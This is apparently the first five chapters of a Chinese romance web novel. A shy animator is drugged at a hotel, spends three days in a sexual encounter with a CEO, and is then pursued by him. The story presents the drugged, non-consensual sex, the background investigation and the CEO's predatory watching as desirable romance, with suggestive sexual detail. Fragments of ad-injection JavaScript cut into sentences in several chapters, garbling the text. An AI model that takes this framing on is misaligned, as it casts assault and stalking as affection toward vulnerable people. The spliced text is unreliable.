《一夜怀崽后被豪门大佬娇宠》 1. 第 1 章 意识到那杯酒有问题时,温真正靠在门上被一波一波的热潮折磨着。 衣服变成了束缚,他一边昏沉地解开衬衣扣子,一边拖着脚步走向大床。 这是秦明湖景区的酒店,他来见甲方,用餐时有主管推销他们新上的酒。 温真并不喝酒,但他不善于拒绝别人。 吃完饭他又检查一遍要给甲方看的样片,没一会儿便开始头昏脑涨。 大概看出他不舒服,有好心地服务员带着他回了酒店房间。 他仰躺在床上,艰难地褪掉下衣,生涩地抚弄,然而并不能缓解那股灼烧难捱的痛苦……只好拽过被子夹在退间蹭弄着…… 他丝毫没注意酒店房间的格局,也没注意为什么单人标间变成了豪华大床,甚至没注意被子底下高大阴郁的身躯。 直到—— 被人扣住手腕。 * * 痛…… 天光大亮,床上的青年慢慢苏醒。 腿像是被掰开过,胯骨以下也像被大力撞击过,温真苍白的的脸颊涌上一抹红晕,彻底清醒了,脑子闪过让他惊恐的画面,他挣扎着下床。 然而走了没两步,火辣辣的刺痛便让他呼吸急促,同时汹涌的热流顺着他腿间淌下。 再次提醒他曾经发生过什么。 卫生间里。 青年难堪地擦拭自己的身体,镜子里倒映出他瘦弱苍白的身体,遍布着密密麻麻的指痕和吻痕,修长的双腿完全没办法合拢,甚至正常站立,只能用细弱露出青色血管的手臂撑住墙壁。 而这样的姿势很快让他回忆起羞辱的画面——被庞大的身躯压住,一条腿被抬起的姿势…… 青年颤抖地捂住自己的脸…… * * 手机上有十几通未接来电,已经过去了三天……想到要和甲方签的合同,温真给陈总打去电话,陈总在电话里没说什么,只让他快点回公司。 出了酒店身体还有些摇摇晃晃,深处的胀痛让他哆嗦,他并不舍得坐出租车,还是选择了坐公交车。路上的颠簸让他不得不分开退避免撞击到。 看着窗外的一闪而过的风景,温真带着红晕的脸涌上一抹痛苦。 “三天,整整三天啊!你放了人家甲方的鸽子也就算了,连班也不上了,你是不是要上天啊。” “你自己数数我给你打了多少电话,我差点都要去警察局报警了。” “对、对不起,对不起。”温真结结巴巴,他甚至没有办法解释自己是误喝了酒所以才…… “你之前因为女儿的病老是请假,我看你在公司待了那么多年也算是勤勤恳恳,就睁一只眼闭一只眼,现在你放人家甲方鸽子的事情总经理也知道了……我真没办法替你兜底了,你去财务那里结一下这个月的工资,收拾收拾东西辞职吧。” 辞职…… 温真脸上血色尽失,“陈总,我,我不能失去这份工作……我女儿后续的治疗还需要用钱……陈总……” 陈斫看着眼前的男人。 永远一副白衬衣加黑裤,脊背微微佝偻,寡言,被塞一些不属于自己的工作也不会反抗。 那双眼睛一直被额前细碎的头发挡住,即使不挡住,说话也不会和人对视,只有一截尖尖的下巴和淡红色的嘴巴惹人注意。 木讷、普通、孤僻。 以他和这样的性格和形象,是不会被派去和客户谈合作的,是因为甲方本来就没打算和他们合作,正好总经理打算裁掉他,便把这个合作交给他谈,但时候失败了顺理成章地辞退他。 “这样吧,你要是还能签成这次合同,我就帮你去上面求情,给你一次机会。”陈斫道。 甲方公司对他们的意向本来就不大,又被放了一次鸽子,能签成才是见鬼了。 温真回到自己工位。 电脑旁边放着一张照片,齐刘海大眼睛的女孩正冲着镜头笑着比耶。 温真神色变得温柔。 然而下身的痛楚和身体未消的低热很快令他陷入痛苦和难堪中,整整三天,他和一个陌生男人在酒店里整整三天…… 甚至不是男性之间,而是用了他……畸形的部分, 那里……温真原本便苍白的脸更加苍白了…… 这件事对他冲击太大了,他甚至没有勇气去查对方是谁,只想像个鸵鸟一样当作没有发生过,继续和自己的女儿活下去。 而且现在他还要更重要的事情要做。 他不能失去这份工作。 年轻的男职工抱来一沓子资料给他,“温工,帮我这些资料整理一下,快点,我急着用。” “可是,可是……”温真为难。 以往他会毫不犹豫地帮他,这次他还要再整理给甲方看的样片,而且他身体在一阵一阵发热。 “我急着用,你帮帮我吧。”对方道。 温真还是接过了资料。 男职工把资料给温真后,转而去了阳台上抽烟和人闲聊。 * * -宁宁,对不起,爸爸知道那个玩偶的牌子了,周末爸爸带你去买好吗? -爸爸这周有些事情需要处理,没办法去学校给你送水果了,爸爸托了王奶奶给你送过去。 -在学校里要好好吃饭,按时吃药,爸爸周五去学校接你。 温真给女儿发完短信后,然后拨打甲方负责人的对接电话。 是助理接的。 “温先生,对不起,我们王总最近有点忙,可能没办法见你。” 温真知道这是对方在委婉地拒绝他,可是他不能失去经济来源,他向陈总请示后去了甲方的公司。 甲方公司名叫思云,是泾市最大企业秦氏集团底下的一个子公司,过段时间是他们公司成立10周年的庆典,他们打算做了一个动画宣传。 这个是陈总的客户,特地交给了温真,他性格木讷,只负责后台的技术工作,并不负责招揽客户和客户谈判,但陈总说如果他能全权负责得到的提成会比之前更多。 他辛辛苦苦熬了几个通宵,可是没想到……温真再次难堪起来…… 思云公司就在秦明景区附近,温真下了公交车,一眼便看到那栋宫殿般的酒店高高矗立,温真苍白着脸快步走过。 没有思云的员工卡,也没有人接应,温真被拦在了门外,就在温真不知道该怎么办时,一辆黑车停在门口,王总带着他的助理从车上下来。 “王总,你好,你好。”过于紧张和不善言辞让温真开始结巴,“上次签合同,我,我临时出了一点事情。” 助理挡在王总的身前,“温先生,我已经在电话里和你说过了,王总——” “是温工啊,你好。”王总是个三十多岁的男人,戴了一副眼镜,看着有些斯文,他笑着和温真打招呼。 “这样吧,我最近确实有点忙 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,明天,明天怎么样?明天你到公司来,我和你详谈。” 温真没想到会这么容易,他很感激地向对方道谢。 温真走后,助理不解,“王总,咱们不是定了另外一家做这个项目吗?为什么还要……” 王总笑,“你知道前几天我在酒店看见他去了什么地方吗?” “去了顶层的vip房间。” 助理还是不明白,王总又道:“你再好好想想那天晚上谁在里面住。” “那天晚上……” 他们集团刚收了一块地皮,就在秦明景区附近,那天集□□人来考察。 助理眼睛缓缓睁大,“秦总!” 他们集团的大老板! “可是,可是,他长得……” 助理回忆温真的相貌,头发盖住眼睛,下巴尖尖的,嘴巴带点微微的淡红,白衬衣加长裤,实在是朴素。 身材倒是好一点,腰身窄窄的,双腿修长,tun部有点肉…… “而且,我听说他有女儿啊,有女儿不就意味着他已经结婚了吗?” 看起来就是一副老实木讷的人夫样子。 “秦总这……” “这你就不懂了吧,有的人就好这一口。”王总笑眯眯的,“希望我这次能押中宝。” *** 温真住在泾市的南郊,这里离他工作的地方很远,但离泾市最好的医院和女儿的学校都很近。 温真在楼下碰见王奶奶。 “王奶奶,钰宁看起来怎么样?瘦了没有?有没有好好穿衣服?”温真担忧。 “脸色挺好的,和同学说说笑笑的。”王奶奶叹气,“今天才周三,钰宁不是周日才走吗?她都马上要高考的人了?会照顾好自己的,你别太担心了。” 温真神色柔和起来。 “前几天我给你介绍的小姑娘感觉怎样?我问了她,她不介意你带一个儿子。” “我还要照顾宁宁,没办法……”温真垂眼。 温真走后,隔壁的阿婆出来,王奶奶道:“不知道他是怎么想的。” “又不是自己的亲生女儿,难道还要搭上自己一辈子?” *** 大腿被人掐握住,往上抬,全部露出来,黑沉沉的眼睛凝视着。 温真惊醒过来,苍白的脸浮着一层黏腻的冷汗,熟悉的房间布局让他的清醒。 他捂住脸,噩梦也让他心有余悸。 *** 温真匆匆赶去思云公司,到了地方却被告知,王总和他的商谈换了地方。 “温先生,您脸色不太好,您没事吧?”王总的助理关心道。 “没有,没有……” “原本我们王总是想和你在公司谈的,但是我们公司总部来人了,要和王总开个会,所以就把你约到这里。” “这家酒店您应该来过,就是上次您入住的那家。” “嗯,嗯……”温真勉强挤出一个微笑。 顶层的VIP套房前,站了三个人,一个是王总,另外两个西装革履不苟言笑,职位应该在王总之上,王总对他们说话很客气。 “温先生。”王总微笑着和他打招呼。 温真低垂着眼在颤抖。 这里…… 为什么是这里…… “秦总看了您给的样片很满意,所以打算和您亲自聊聊。”王总打开了门。 “秦总在里面等你。” 2. 第 2 章 房间是中式装修,一进去便能从开放式阳台看到外面连绵的山脉,大床周围的床幔被拢在两旁,右手边用卷轴帘分隔出来一个喝茶的地方,朦朦胧胧能够看见里面的矮桌和蒲团。 他预定的标间没有这么格调,只有一张单人床和一扇小窗。 温真不知道是不是自己说错了房号所以服务生才会把他带到这间酒店……而现在自己又回到这里,还是在他清醒的状态下。 为什么偏偏选择这里见他…… 手里的合同攥得变形,温真脸上一点血色都没有。 也许,也许只是巧合,这里是景区,每天入住的人那么多。 这间房能将秦明景区所有的风景尽收眼底,为了更好的享受,会有很多客人不惜花高价住在这里…… 温真安慰着自己,可内心越来越不安…… 他进来已经很久了,并没有看到秦总,但是他感觉自己暴露在一道视线下……似乎有人在暗处一动不动地盯着他…… 就像是他成了被狩猎的动物一样…… 窥视他的视线变成了某种实质性的东西,在他裸露的肌肤一点一点滑过,恍惚间有种黏糊糊的灼烧感…… 温真越来越不安和焦灼,他在叫了一声秦总没有人回应后几乎是慌不择路地走到门口——他要出去。 可房门刚被拉开,一道黑影便从后面将他整个人都覆盖住,小臂横在他的头顶,按在门上,‘咚’地一声,房门再次被紧闭。 “温先生。”身后的男人开口,声音压得很低。 这个声音…… “叫出来……” 温真瘦弱的身体细细打颤,“秦,秦总。” 秦妄往回走,很快来到高椅背的独坐沙发前,然后转过身。 将近一米九的身躯让他居高临下凝视温真。 “坐。” 温真站在那里一时没动,他鼓起勇气抬起眼皮看了对方一样,却发现对方黑沉悚然的目光一直凝视着他。 声音也许只是巧合,可那双凝视的眼睛…… 温真又惊又怕,用力咬住自己的毫无血色的唇瓣…… 回去后温真意识到对方应该也服用了药物,因为正常人不可能会那么颠乱。 他的身份地位,身边的人会很多,自己那么平凡普通,他不会记得…… 温真低垂着眼,颤抖地把合同放在他的面前。 “秦总,如果可以的话,这份合同……” “样片我看了,但其中有些地方不明白。” “什么地方,什么地方……我可以为您讲解。” “比如为什么要用一个有癌症的小女孩来当主角。” “那是因为……” 这个宣传片从头到尾都是他一个人完成的,主题思想乃至于任何一处细节再没有人比温真清楚,要给甲方讲解的稿子他在夜里已经背得滚瓜烂熟了,此刻他本来也应该流畅地讲出。 可是、可是对方的目光一直在他身上……甚至不是简单的盯和看,而是凝视。 视线仿佛变成了某种湿漉漉的器官,从他的额头眉毛一路滑过下巴,然后是脖颈,再然后是他握紧笔的手,接着是他的腰部和双腿…… 明明穿了规整的衣服,可像是浑身完全赤裸一样,被那种凝视的目光一寸一寸在肌肤上滑过,晦涩的湿黏渗透到他的毛孔中。 这样露/骨的凝视…… 温真汗毛林立,怕得想缩起来…… “我可以,可以喝水吗?”可怜地恳求。 “当然。” 温真颤抖拿起旁边的水杯,淡红色的唇瓣含住杯壁,下巴微微扬起,小巧的喉结上下吞咽着。 咕咚咕咚…… 喝得太急了,水流从嘴角淌出来,缓缓没入领口里面。 喝完后,温真紧紧攥着笔,磕磕巴巴讲起来。 “用癌症、癌症的小女孩来表达,其实是……是因为,我想表达……” 吞吐的语句擦磨着秦妄的耳膜。 停顿时急促地喘息,被视/奸时难堪羞耻的语气……带着一点血色的唇瓣张张合合,吞吞吐吐……求饶的话都说不完整。 样片乃至附件的讲解已经看过了,确实是令人眼前一亮的作品,让他讲解不过是…… 一丝躁动蔓延在秦妄漆黑的眼睛里,“我很喜欢你。” 喜欢…… 温真的脸瞬间惨白。 “的作品。”看他惊恐的样子,秦妄缓缓笑了,“把合同拿给王总,他会签的。” 秦妄盯着温真的远去的背影,拿起他喝过的水杯,手指捻揉着他嘴唇含过的杯壁。 然后两根长度吓人的手指插/进杯中,在水里搅弄。 *** 到了外面,那种被目光裹住的窒息感迅速消散,温真拿着合同,心还在急促地跳动着。 早在要和思云合作前,陈总便和他讲过,思云是秦氏集团的子公司,秦氏集团里只有一个人姓秦,那就是他们的最高执权人——秦妄。 所以在酒店里和他………… 温真颤抖。 王总看见他出来,立马变成了笑眯眯的样子,“秦总的意思已经传达给我了,走吧,我们回我办公室细聊。” 秦氏集团的最高的掌权人,一个小小的周年庆典宣传片并不是他管辖的范畴……明明王总便可以敲定的事情,为什么要这么大费周折。 温真惨白着脸不敢想下去。 陈斫知道温真签成功了,差点没从椅子上滑下去。 但话已经说出去了,他也没办法再反悔,转而去找了总经理。 总经理刘鸣四十岁了,最近迷上了修道,陈斫去的时候他正在打坐。 “刘总,我真没想到他能签成。要不我再找个别的理由辞退他,赔偿金尽量少给他。”温真在他们公司待了七八年了,要是这个时候辞退,他们要拿出一笔不小的赔偿金,所以他才想出这样一个法子好辞退温真。 “留着吧。”刘鸣拨弄着佛串。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “您怎么突然改变主意了。” 刘鸣没说话,就在陈斫来之前,他接到了王总的电话。 其实员工刘鸣或多或少都能记得一些,但温真在公司待了七八年,他一直没记得他的名字,可想而知这是个多么平凡普通没有存在感的一个人。 然而王总告诉他,秦妄亲自见了他。 “那个叫卫祥的,是不是总是把工作推给别人,自己跑到阳台抽烟。” “你手下的人,你自己看好。”刘鸣又道。 陈斫出了总经理的办公室,没走到温真的工位上,就看到卫祥又在把自己的工作推给温真。 老实木讷的男人依旧没有拒绝,任劳任怨地答应了他。 “卫祥,你干嘛呢!你自己的工作自己不做给别人做,工资我也发给别人行不行?!” “陈总,我没有,我就是这动作处理不好,要温工帮一下忙。”卫祥狡辩,同时不理解这次陈总怎么开始管这事了。 公司里的人都知道温真有一个生病的女儿要养,加上性格又很怯懦,所以便把一些零碎耗时的工作推给温真做,可他呢,也不知道反抗,勤勤恳恳。上面的领导都知道,但一直睁一只眼睛闭一只眼,这次不知道为什么突然发难。 “我警告你们啊,以后我再发现谁不好好完成自己的工作,投机取巧,抓紧时间给我滚蛋。”陈斫对着办公室里的人说道。 —— 到了周五,温真准时下班,乘坐地铁到泾市第七中学,他在学校旁边的小吃店买了两个烤鸡腿和两杯糖水。 然后在学校门口翘首以盼。 下课铃声响后,穿着蓝白相间校服的学生们蜂拥而出,温真眼睛都不敢眨,生怕错过了女儿,看见女儿和一位女同学走出来后,温真疲惫的脸庞瞬间温柔起来。 “宁宁,爸爸在这里。” 付钰宁抿着唇,有些冷淡。 “你怎么不好好穿衣服,冷不冷啊?”温真很害怕她感冒。 “叔叔,我们刚上完体育课。”旁边的陈垚回答。 “那更应该穿上外套了,会生病的。” 付钰宁道:“我不冷。” 温真一点也不因为他冷淡的语气介怀,“我买了吃的,你和你的好朋友一起吃。” 付钰宁没接温真的东西,陈垚看不下去了,“好的,谢谢叔叔。” 陈垚的爸爸来了,和付钰宁告别,付钰宁朝他挥挥手,并不等温真便往前走。 温真想要追他时,有人叫住了他。 是付钰宁的班主任林云,林云蓄着一头黑色的长发,穿着一件改良版的旗袍,很得体地冲温真笑了笑。 木讷的男人耳根微红。 林云看付钰宁走远了,应该听不到他们讲话,才斟酌地开口。 “钰宁爸爸,我有件事要和你说一下。” “是宁宁在学校里出什么事情了吗?”这样的语气让温真有些紧张。 “钰宁,她可能早恋了。” 3. 第 3 章 付钰宁握着书包带,走得很快。 “宁宁,宁宁,等等爸爸……”温真的屁股还在疼,腿也迈不了大步,他追不上付钰宁,“车太多了,你往旁边走走。” 付钰宁忽然停下来“你好慢。” 温真追上她,露出一个拘谨的笑容,“爸爸一直坐在办公室,体力不行了。” “书包给爸爸背好吗?” “不用。”付钰宁继续往前走,“林老师和你说了什么?” “没说什么,没说什么……” 付钰宁早恋的事情她也只是听说,还不能肯定,温真害怕此刻问她,她会生气。 “你是不是喜欢林老师?” 喜欢…… 温真耳朵瞬间变红,“不是的,不是的,爸爸没有。” 付钰宁盯着他,“别装了。” 到家后温真围上围裙去厨房做饭,炖了付钰宁最爱吃的豆腐和鱼,又炒了两个青菜。 吃饭的时候,付钰宁一直盯着手机。 似乎在和别人聊天,时不时敲着键盘。 温真有些担忧。 付钰宁生过一场病,差点死掉,温真对她的要求很简单,只希望她以后的人生能够健康快乐。 即使学习成绩不好,考不上好大学也没关系。 如果谈恋爱能让付钰宁开心,温真也支持她。 可是林老师说,付钰宁早恋的对象是校外的,而且比她大很多。 温真听说过很多女生被男人骗然后怀孕的事情,温真知道钰宁是个有分寸的孩子,可还是忍不住担忧。 “宁宁,你最近,最近有什么事情要和爸爸说吗?”温真小心翼翼地问。 付钰宁双指飞快地敲击键盘,“没有。” “饭菜要凉了,”温真往她碗里夹了一块鱼肉,“明天爸爸带你去买玩偶好吗?” “我已经有了。” “有了?你自己买的吗?” “别人送的。” 别人送的…… 温真抿唇。 “我明天要和朋友出去,中午不回来了。”付钰宁又道。 “出去?”温真越来越担忧了,付钰宁周末一般都是在家里写作业,很少出去,他记得她上一周也说要和朋友一起去玩,那时候他还很开心,他希望付钰宁能和正常的孩子一样多出去走走然后交朋友,可是现在…… “是和垚垚吗?” “不是。” 温真不敢问了,“那,那你要注意安全。” 付钰宁开始扒饭。 晚上温真睡不着,他坐起来,盯着床头的照片看。 办公室里的照片是付钰的单人照,他床头这张是张三人合照。 十年前的照片,那时候他17岁,马上要上大学了,钰宁7岁,脸蛋圆圆的,还有他姐姐。 第二天早上,温真起来给付钰宁做了早饭,付钰宁吃的时候,温真戴着围裙在厨房里洗碗,付钰宁出门后,温真立即取下围裙跟着出了门。 他看着付钰宁出了小区,在小区门口上了一辆车。 付钰上的那辆车通体发黑,发出一种浸润的光泽,即使不看车标,也会知道这辆车价值不菲。 温真躲在树后,拿出手机先把车牌号拍下来,然后又把整个车子拍下来。 他对车不熟悉,只知道一些常见的大众车,他拿着图片在网上搜了一下,发现是劳斯莱斯底下的一款叫库里南的车,温真看到价格时脸色已经很不好了。 700多万…… ** 宽阔的主干道,黑色的库里南一路疾驰。 “这车怎么样?是不是够炫酷?”秦宝章打着方向盘。 “炫酷。”付钰敷衍,“又偷开你小叔的?” “什么叫偷开,这次是他点头同意的!” “钰钰,我们别去海边了,我带你去我家玩好不好?我家可大可漂亮了。” “行啊,正好去见你小叔,我感觉你小叔长得特别帅,特别有男人味,特别有魅力……” “停停停!” 秦宝章气急败坏。 *** -叔叔,你也知道钰宁很多事情都闷在心里,她是不是谈恋爱了其实我也不太清楚。 -不过她最近总把我们班一个男同学的叔叔挂在嘴边。 -叔叔你放心好了,钰宁很聪明的,绝对不会做傻事的。 收到陈垚这条短信时温真正在参加思云的周年庆。 典礼还没有开始,来的商客都在闲谈,陈斫和刘鸣正和曾经的合作伙伴寒暄,温真趁机走到清净的地方。 男同学的叔叔…… 不是哥哥,而是叔叔…… 那辆七百多万的车足以证明对方很有钱,年纪也说明了他有很丰富的阅历,即使付钰宁很聪明可在对方面前也和一个幼小的小兽一样,很容易受到被伤害和欺骗…… 温真眉间里都是忧愁。 -你能告诉叔叔那个男同学叫什么名字吗? -他叫秦宝章。 * * “秦总。” 黑色的库里南缓缓停泊,高大的男人下车。 王总恭敬道:“我带您进去。” 秦妄颔首。 *** 典礼快开始了,温真把手机装起来,确认洗手间没人才敢进去,他用冷水洗了把脸,然后整理好自己脖子上挂的工牌。 随即他的视线落在裤子上…… 这几天一直下雨,衣服洗了没有干,温真找了一条前几年的裤子穿上,穿是可以穿上,但过去一个上午,他感觉腹部以下的位置很紧……尤其是后面,温真背对着镜子看了一眼,发现后面的肉被裹成很……圆润的两团。 他从来没有注意过自己后面,没想到是这个样子。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>温真莫名感到羞耻极了。 想要去附近的商场买一条新的,可是外面响起了音乐。 典礼开始了。 西装革履的男人上台。 “这不是秦总吗?他怎么来了?” “他掌管着秦氏集团,每天那么多的事情需要处理,怎么会耗费时间来参加一个子公司的周年庆?我听说去年昌源公司不也邀请秦总了吗?也是秦氏集团的子公司,秦总就没有出席。” 前面的人议论纷纷。 过了一会儿,温真才颤抖地抬起眼睛。 这个时候温真才敢看他。 他很高大,站在台上更加高大了,穿了一件黑色的衬衣,很严谨地扣到喉结处。 头发一丝不苟地往后梳,露出深邃锐利的眉眼,睥睨众人。 不像商人,更像位高权重的军/官。 温真的目光很快被台上的男人捕捉到,朝温真凝视过来,温真迅速垂眼。 男人的声音从会场四面八方传到温真耳朵里,又令温真想起不堪的画面,温真坐立难安起来,最后假借打电话逃出会场…… 他害怕挡住后面人的视线,是弯着腰出去的,丝毫没发现这样让自己本就被裹得圆圆的两团更加饱满了,完全暴露在男人的目光下。 “……” 台上讲话的男人停顿了一下。 温真出了会场,到走廊的尽头,那里有一个阳台,被黑色珊栏封了起来。 温真心事重重地站在黑色珊栏前。 楼下停了很多商客的车,其中一辆吸引了温真的注意力。黑色的,车标是欢庆女神的车。 温真一窒,慌忙去拿口袋里的手机,可他太着急了,手机没拿稳,顺着他的口袋掉在地上后往前滚,正好滚在阳台珊栏的外面掉了下去。 温真趴在阳台上往下看,在距离阳台底下30厘米左右有一截管道。 手机正好掉在管道上面。 他脑袋急出了汗,弯下腰,脸贴在珊栏上伸长胳膊去够,手指能摸到,但是拿不上来。 阳台上也没有什么工具的,温真看珊栏的缝隙比其他地方的要大一点,脑袋似乎可以钻进去。 温真擦了擦额头上的汗,想也没想便将脑袋往珊栏外面钻,其实钻到一半时,两边的铁棒就已经磨他的耳朵了。 可是温真想到手机里的车牌照,还是硬着头皮继续往前钻,直到整个脑袋都钻出珊栏,然后伸长胳膊往下摸…… 手机终于拿在手里,温真便要从珊栏退出来,第一下卡在后脑勺,第二下还卡在后脑勺,这个时候温真还不知道发生了什么可怕的事情,直到他累得满头大汗,才终于意识到自己的脑袋被卡住了。 与此同时,秦妄发完言,身后跟着两个助理,来到走廊尽头的电梯前。 余光往电梯前方的窗户外一瞥,便看见两瓣圆圆的肉高高翘着。 在晃来晃去。 4. 第 4 章 “秦总,那个好像是……温先生。”秦妄的助理路明远开口。 “温先生的脑袋好像被……卡住了。”赵程跟着道:“这个地方,这个时间,卡得真是有点巧,也许是故意等您……” 秦妄侧首。 赵程噤声。 “下去等我。” 秦妄丢下这句话,迈步走过去。 因为脑袋被卡在栏杆里面,没办法站直,所以只能跪在地上,臀部微微挺起来。 裤缝从尾椎骨下面勾勒出一个饱满挺翘的弧度,最后延伸到退间,想到藏在那里面的东西…… 秦妄眼神微暗。 而温真听见脚步声,窘迫地求助:“你好,你好……” “可以,可以帮帮我吗?” 来的人一直不说话,温真又看不到他的脸,这样的姿势被他在后面盯着,让温真更羞窘了。 没让温真难堪太久,秦妄蹲在温真身侧,两个手握住卡住温真脖子的两根栏杆。 这个时候温真只能用余光看到对方的手,手很大,指头长得吓人,手背上的青筋一根一根凸起来,显出蓬勃的力量,不温真莫名对这双手感到害怕…… 像是见过一样,可是对方是在救他,温真忍住自己的颤抖。 秦妄早些年当过兵,胳膊上的肌肉远超常人,加之栏杆里面是空的,被腐蚀了一点,很快秦妄便将两个栏杆掰开了一点,然后用那两只让温真害怕的手捂住温真被磨红的耳朵。 捧着他的脑袋让他出来。 温真没想到自己身上会发生这样丢脸的事情,他耳朵被磨得红了,脸也跟着红起来,很感激地向对方说谢谢。 “以后别再这样做了。”秦妄沉声。 耳朵都磨红了。 而温真听到这个声音,猛地抬起头,脸上刚涌出来的血色瞬间没有了,温真没想到是他救了自己,眼睫开始颤抖…… 秦妄顿了顿,声音有些暗哑,“这种裤子也别再穿了。” 裤子…… 想到刚才在洗手间里看自己后面是那种样子的。 木讷老实的青年低垂着头,难堪极了。 “手机给我。” “手机,手机里没有,没有钱……”温真不知道他为什么要自己的手机,又因为很害怕他,颤巍巍地给了他。 “这是我的联系方式。” 秦妄还有公务要处理,留下自己的联系方式便离开了。 温真呆呆坐在阳台上半晌,才想起来正事。 然后惊慌地下楼,结果只看见了库里南的车尾巴。 温真紧追几步,努力地辨别车牌号。 而车厢内,赵程看了后视镜一眼,“秦总,温先生眼巴巴看着我们的车,像是不舍得。” 秦妄慢条斯理地挽起袖子,盯着自己的掌心,上面还残存他的温度。 路明远也跟着老板的心情愉悦起来,汇报温真的家庭背景。 “温先生有一个女儿,但不是亲生的,温先生本人是没有结过婚谈过恋爱的,唯一有过亲密接触的就是秦总你。” 秦妄很满意。 而接下来的一条‘暗恋自己女儿的英语老师’。 路明远犹豫着,斟酌着说出来。 车厢瞬间陷入死寂。 *** 转眼又到了周五,温真接付钰宁回家。 温真做好饭看见付钰宁在写作业,便轻手轻脚地走过去,温真原本是想摸摸她的头发,却被付钰桌子上的iPad吸引了视线。 “这个,这个是你买的吗?”温真询问。 “不是,同学的,他让我用。” “这样,这样……”温真脸色有些白。 不久前同事还在办公室里聊这款iPad,是最新款,价格要一万多。 温真每周都会给付钰宁生活费,有时候怕她不够,周三还会再给一次,每次付钰都会剩下来一部分,可这远远不够付钰拥有一个价值一万块的电子产品。 周六付钰又出门了,依旧是那辆库里南来接她,温真看着付钰上车后,转而拦了一辆出租车。 车子一路开到城北的马场。 温真乘坐的车子被拦在了外面。 温真付完钱下车,在马场附近等着。 马场是秦妄的私人马场,秦宝章带着付钰宁来的时 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 候,秦妄正在给他最喜爱的马喂草料。 秦妄站在围栏外面,穿着一件衬衣,饱满的胸肌几乎撑破衣服,脚下踩着一双骑马时穿的靴子,显得更加高大挺拔。 秦宝章原本在付钰宁的后面,悄摸摸地走到付钰宁的前面,挡住付钰宁的视线,不让她看秦妄,付钰宁挪了挪,秦宝章也跟着挪。 最后付钰宁忍无可忍,“秦宝章。” 秦宝章转过头嘻嘻笑,“宁宁。” “我带你去骑马好吗?” 秦妄这个时候才注意到他们,“秦宝章,带她小心一点。” “受伤我饶不了你。” “不会的小叔。”马场的工作人员带着秦宝章和付钰宁去挑马。 秦妄接了一个工作电话,洗完澡换了身西服,车子秦宝章要开着送付钰宁回去,秦妄没开,让赵程来接他。 车子驶出马场,秦妄余光一瞥,然后叫了停。 赵程停车后,很快看见那个老实木讷但很会勾引他老板的男人。 “温先生好像在等您?” “温先生住的地方离这里很远……为了您竟然……” 赵程话没说完,秦妄便已经下车了。 温真一直盯着马场,都没有注意身后一个黑沉的身影覆盖下来。 “在等谁?” 秦妄看他翘首以盼,似乎生怕错过什么的样子。 突然响起的声音让温真吓了一跳,转过头看见那张英俊威严的脸时,脸唰地白了。 温真不知道为什么在这里还会遇到他,整个人都抖起来。 “没等谁,没等谁……” “上车,送你回去。” 送他回去…… 温真咬唇,“不用,不用……” 秦妄盯着他。 秦妄不是面善的人,不笑的时候显得有点凶,他这样面无表情地盯着温真,温真很害怕,垂着脑袋跟他上了车。 到达小区门口,车子刚停好,温真便迫不及待地下车,他走了几步,忍不住回头。 车子还没走,男人就在车窗后面盯着他。 温真惨白着脸,立即加快了步伐。 5. 第 5 章 温真看着钟表,下午五点钟,付钰宁回来。 在外面待了一天,并不疲惫,眼睛亮亮的,看起来玩得很高兴。 温真装作若无其事问道:“宁宁,爸爸早上出门看见你上了一辆车?那是,那是你朋友的车吗?” “嗯。” “那辆车,那辆车我之前见一个客户开过……” 付钰宁盯着他。 温真知道她这是嫌自己烦了,“爸爸,爸爸就是问问。” 付钰宁拿了换洗衣服去洗澡,温真心不在焉地换台。 “近日我市发生了一场凶杀案,受害者年龄为17岁,进行尸体解剖时,发现受害者已经怀有身孕,经过警方多日调查,很快锁定嫌疑人杨某。 杨某在某司担任经理,于2022年7月在网上结识受害者,期间多次带受害者出游,送其贵重礼物……” 客厅里没有开灯,屏幕的光芒打在温真毫无血色的脸上。 温真摁灭电视。 周一上班,温真在阳台上取下晾干的衣服,取成了那天参加思云周年庆的裤子。 温真一看见这条裤子便想起那个男人说的话,立刻难堪起来,慌忙把裤子叠着放在柜子里。 又取一件他常穿的,他还以为这样就不会那么奇怪了,戴上工牌匆匆赶去公司。 他刚坐下,工作微信弹出来信息。 “分镜。” 发件人是卫祥。 那天陈斫在办公室警告过后,大家都不再麻烦他了,还有人向温真道歉,要请温真吃饭, 除了卫祥。 他不再当众找温真帮忙,而是发短信给他。 “下午给我。” 下午…… “晚一些可以吗,我还有很多要画……” “下午必须给我。” 温真还是妥协下来,他害怕和别人产生冲突,也知道自己这样很懦弱,可是他已经不太年轻了,公司一直在招新人。 他还有女儿要养,没办法那么任性。 陈斫从办公室里出来,“温真,卫祥,你们两个到我办公室来一下。” 温真的座位离办公室近一点,温真走在前面,卫祥跟在他身后。 他本来心想温真是不是告状了,可又觉得温真没那个胆子,不紧不慢地跟在他屁股后面。 他漫无目的地乱瞟,忽然聚焦在饱/满的某处…… 他眼神变得古怪起来。 “我找你们是想和你们说一下《幽境》这个IP,原本是卫祥负责的,现在温真你来负责吧,到时候让他和你交接一下。” 《幽境》是最近火的一本小说,公司买下版权要改编成漫画,因为IP就有很大的热度,改编成漫画后订阅率也会因为原著粉丝而高,那负责它的画手拿到的提成也高。 “不是,陈总,我都熟悉了,现在交给他……”卫祥不悦。 “是这样的,《幽境》这本小说是女频,画风需要唯美,情感也要更细腻,温真的风格更适合。” “而你呢,画打斗场景比较擅长,我打算让接手《无量》这部作品。” 《无量》是男频的升级流小说,虽然热度也挺大的,但远远不如幽境。 “好了,温真你先出去吧。”陈斫笑着道。 温真走后,卫祥一屁股坐到陈斫的位置上,“不是哥,你为什么要把这么好的机会给他。” 陈斫道:“不是我,是总经理。” “总经理这几天把温真产出的作品都看了一遍,然后就给我下了这个指令。” 前两年温真女儿生病,他频繁请假,为什么公司一直留着他,便是因为他虽然性格木讷迟钝,能力还是有的。 “过几天我带你去一个圈内的聚会,有好几个老板手里握着热门IP,到时候你好好把握。” 卫祥心中的怨气少了一些,忽然他想到什么,“既然总经理现在这么看重温真,那不如让总经理也带他去好了。” 